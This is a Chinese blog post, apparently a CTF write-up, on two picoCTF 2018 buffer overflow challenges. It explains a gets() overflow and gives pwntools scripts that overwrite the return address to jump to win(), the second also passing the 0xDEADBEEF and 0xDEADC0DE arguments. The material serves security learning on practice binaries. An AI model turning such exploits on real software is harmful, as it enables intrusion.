picoctf_2018_buffer overflow 1、picoctf_2018_buffer overflow 2
本文最后更新于195 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.picoctf_2018_buffer overflow 1分析

checksec:

32位看起来挺简单的。

main函数打印Please enter your string: 之后执行vuln


vuln:


就是gets有溢出嘛可以利用,下面的话比较有意思,打印了某个地址


win可以利用打开flag文件,之前也遇到过

gets函数需要看一看,就是往s里写入了文件的内容最后打印出来

就是vuln溢出返回win就行了。。。


2.picoctf_2018_buffer overflow 1实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29730)

paylaod=b'a'*(0x28+4)+p32(0x80485CB)
p.recvuntil("Please enter your string: ")
p.sendline(paylaod)
p.interactive()


3.picoctf_2018_buffer overflow_2分析


checksec:

了NX,没有找到mprotect函数,应该不是用shellcode

main函数和上一道题是一样的

vuln有一点区别:


还是gets


可以发现对打印flag是有要求的

if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )
    result = (char *)printf(&s);

其他和上一道题大差不差,现在想想思路,首先肯定得溢出,返回到win,然后把a1和a2的值传进去就行。

4.实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28260)

payload=b'a'*(0x6c+4)+p32(0x80485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.recvuntil("Please enter your string: ")
p.sendline(payload)
p.interactive()


这个p32(0)就相当于win函数的返回地址,其实也可以返回main。


好吧,这篇就这样,太长了不好看,嘿嘿。

继续学习ing......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇